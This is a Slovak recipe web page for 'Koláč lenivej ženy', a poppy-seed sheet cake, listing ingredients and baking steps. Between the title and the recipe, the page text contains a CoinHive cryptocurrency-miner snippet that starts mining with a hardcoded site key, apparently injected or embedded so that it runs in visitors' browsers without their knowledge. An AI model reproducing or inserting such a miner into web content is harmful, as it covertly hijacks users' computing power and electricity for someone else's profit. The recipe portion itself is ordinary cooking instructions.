
Koláč lenivej ženy

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

  

Potrebujeme: 1 hrnček celého maku, 2 hrnčeky múky Promix UNI, 1 hrnček mlieka, ½ hrnčeka
oleja, 1½ hrnčeka kryštálového cukru, 3 celé vajcia, 6 PL vody, 1 ČL prášku do pečiva, lekvár,
čokoládovú polevu

  

Postup: Žĺtka vymiešame s cukrom, pridáme olej, mak. Potom múku, mlieko, prášok do pečiva,
sneh z bielkov. Vylejeme na plech vyložený papierom na pečenie a upečieme. Po upečení
potrieme lekvárom a čokoládovou polevou.
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